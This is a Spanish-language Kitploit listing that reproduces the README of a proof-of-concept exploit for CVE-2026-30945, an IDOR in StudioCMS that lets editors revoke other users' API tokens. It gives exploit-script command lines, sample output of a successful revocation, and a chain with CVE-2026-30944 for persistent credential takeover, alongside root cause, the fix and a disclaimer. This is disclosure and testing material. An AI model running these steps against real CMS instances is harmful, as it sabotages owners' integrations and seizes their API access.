Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-30945-PoC — Prueba de concepto del exploit para CVE-2026-30945, un IDOR en StudioCMS que permite la revocación arbitraria de tokens de API y la denegación de servicio. Incluye modos de prueba manual y automatizada. | Kitploit
Herramientas/GitHubGitHub/filipegaudard/cve-2026-30945-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de APIs
GitHubfilipegaudard/cve-2026-30945-poc

CVE-2026-30945-PoC

Prueba de concepto del exploit para CVE-2026-30945, un IDOR en StudioCMS que permite la revocación arbitraria de tokens de API y la denegación de servicio. Incluye modos de prueba manual y automatizada.

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🗑️ CVE-2026-30945

StudioCMS IDOR — Revocación Arbitraria de Tokens API que Conduce a Denegación de Servicio

CVE CVSS CWE Type

NVD • Advisory • CWE-639


Resumen

El endpoint DELETE /studiocms_api/dashboard/api-tokens en StudioCMS ≤ 0.3.0 permite que cualquier usuario autenticado con privilegios de editor o superiores revoque tokens API pertenecientes a cualquier otro usuario, incluidas las cuentas admin y .

owner

El manejador acepta tokenID y userID directamente del payload de la solicitud sin verificar la propiedad del token, la identidad del solicitante ni la jerarquía de roles. Esto permite una denegación de servicio dirigida contra integraciones y automatizaciones críticas.

Relacionado: Esta vulnerabilidad comparte la misma causa raíz que CVE-2026-30944 (IDOR en generación de tokens). Cuando se encadenan, un atacante puede revocar tokens legítimos y generar otros nuevos, logrando una toma de control completa de las credenciales API.

Flujo del Ataque

root@kitploit:~
┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   Atacante   │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   Servidor   │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  Pipeline    │
                                              │  CI/CD del   │
                                              │  Propietario │──► ❌ 401 No Autorizado
                                              │  Integración │──► ❌ Acceso API Perdido
                                              │  Monitoreo   │──► ❌ Fallo Silencioso
                                              └──────────────┘

Detalles de la Vulnerabilidad

CampoValor
CVECVE-2026-30945
GHSAGHSA-8rgj-vrfr-6hqr
CVSS v3.17.1 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
CWECWE-639: Bypass de Autorización Mediante Clave Controlada por el Usuario
CWE (secundaria)CWE-863: Autorización Incorrecta
MITRE ATT&CKT1531 — Eliminación de Acceso a Cuenta
OWASP APIAPI1:2023 — Autorización de Nivel de Objeto Rota
Afectadostudiocms ≤ 0.3.0
Corregido enstudiocms 0.4.0

Contenido

ArchivoDescripción
cve_2026_30945_poc.pyScript de explotación en Python con modos manual y automatizado
README.mdEste archivo
LICENSELicencia MIT

Requisitos Previos

  • StudioCMS ≤ 0.3.0 (versión vulnerable)
  • Python 3.8+
  • Credenciales válidas para al menos una cuenta Editor
  • Un UUID de registro de token conocido (ID interno, no el JWT)
root@kitploit:~
pip install requests colorama

Inicio Rápido

Explotación Manual

root@kitploit:~
# Revocar un token específico perteneciente al propietario
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# Encadenar con CVE-2026-30944: crear un token para el objetivo primero
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Guardar resultados en JSON
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

Pruebas Automatizadas

root@kitploit:~
# Probar con múltiples roles
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

Argumentos

Obligatorios

ArgumentoDescripción
-u, --urlURL base de StudioCMS objetivo
--target-uuidUUID del usuario objetivo cuyo token será revocado

Opcionales

ArgumentoDescripción
--token-idUUID interno del registro de token a revocar (no el JWT). Si se omite, el script intentará crear un token primero mediante CVE-2026-30944

Modo Manual

ArgumentoDescripción
--usernameNombre de usuario para autenticación
--passwordContraseña para autenticación

Modo de Prueba Automatizada

ArgumentoDescripción
--auto-testHabilitar pruebas automatizadas de múltiples roles
--editor-userNombre de usuario de la cuenta Editor
--editor-passContraseña de la cuenta Editor
--visitor-userNombre de usuario de la cuenta Visitante
--visitor-passContraseña de la cuenta Visitante

Banderas

ArgumentoDescripción
--saveGuardar resultados en archivo JSON
--no-ssl-verifyDeshabilitar verificación de certificado SSL

Ejemplo de Salida

Sistema Vulnerable

root@kitploit:~
  ──────────────────────────────────────────────────────────
  FASE 1: Autenticación
  ──────────────────────────────────────────────────────────
  [+] Autenticado como 'editor01'
  [*] Usuario de sesión: editor01 (editor)
  [*] UUID de sesión: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  FASE 3: Revocación de Token (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID de token:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revocando token API del objetivo...
  [+] ¡Token revocado! Respuesta del servidor: Token deleted
  [!] VULNERABILIDAD CONFIRMADA — ¡Token revocado exitosamente!
  [!] Las integraciones API del usuario objetivo ahora están rotas (DoS)

Sistema Parcheado

root@kitploit:~
  ──────────────────────────────────────────────────────────
  FASE 3: Revocación de Token (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID de token:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revocando token API del objetivo...
  [*] Acceso denegado (403 Prohibido) — el endpoint puede estar parcheado
  [-] Revocación fallida: Acceso denegado (403 Prohibido)

Cadena de Ataque (CVE-2026-30944 + CVE-2026-30945)

Cuando se combina con el IDOR de generación de tokens (CVE-2026-30944), un atacante puede realizar una toma de control completa de las credenciales API:

root@kitploit:~
Paso 1: Revocar el token legítimo del propietario    (CVE-2026-30945)
   └──► Los pipelines CI/CD del propietario fallan silenciosamente

Paso 2: Generar un nuevo token para el propietario   (CVE-2026-30944)
   └──► El atacante ahora tiene acceso API a nivel de propietario

Paso 3: El propietario crea un nuevo token para solucionarlo
   └──► El atacante lo revoca nuevamente (DoS persistente)

Esto crea un escenario donde el atacante mantiene control persistente sobre el acceso API del propietario, revocando repetidamente cualquier token nuevo que el propietario cree mientras mantiene su propio acceso ilegítimo.


Causa Raíz

El manejador vulnerable en packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (líneas 58–99) acepta tokenID y userID del cuerpo de la solicitud y los pasa directamente a la función de eliminación sin ninguna verificación de autorización:

root@kitploit:~
// [1] Solo verifica si el solicitante es editor — no PARA QUIÉN está revocando tokens
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] Ambos valores del cuerpo de la solicitud — sin validación contra la sesión
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // Sin verificación de propiedad
    userID: string;     // Sin verificación de identidad
}>(ctx);

// [3] Pasados directamente a una operación destructiva — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

El manejador tiene cinco fallas distintas: puerta de permisos insuficiente, sin validación de propiedad del token, falta de verificación de identidad del solicitante, sin aplicación de jerarquía de roles y paso directo de valores controlados por el usuario a una operación destructiva.


Impacto

  • Denegación de Servicio — Los tokens API utilizados en pipelines CI/CD, integraciones de terceros o sistemas de monitoreo pueden ser revocados silenciosamente
  • Sabotaje selectivo — Un editor puede revocar quirúrgicamente tokens de administradores o propietarios específicos
  • Sin rastro de auditoría — La revocación se procesa como una operación legítima, dificultando la atribución
  • DoS persistente al encadenarse — Combinado con CVE-2026-30944, el atacante puede revocar repetidamente cualquier token nuevo que la víctima cree

Mitigación

Actualice StudioCMS a la versión 0.4.0 o posterior:

root@kitploit:~
npm install studiocms@latest

Aviso Legal

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

  • Úsela solo contra sistemas que posea o para los cuales tenga permiso escrito explícito para probar
  • El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones
  • El autor no asume ninguna responsabilidad por el mal uso de esta herramienta
  • Siga siempre las prácticas de divulgación responsable

Referencias

  • CVE: CVE-2026-30945
  • Advisory: GHSA-8rgj-vrfr-6hqr
  • CVE relacionado: CVE-2026-30944 (IDOR en generación de tokens)
  • CWE: CWE-639 — Bypass de Autorización Mediante Clave Controlada por el Usuario
  • OWASP: API1:2023 — Autorización de Nivel de Objeto Rota
  • MITRE ATT&CK: T1531 — Eliminación de Acceso a Cuenta

Autor

Filipe Gaudard


Licencia

Este PoC se publica bajo la Licencia MIT con fines educativos. Úselo de manera responsable y ética.

Descargar herramienta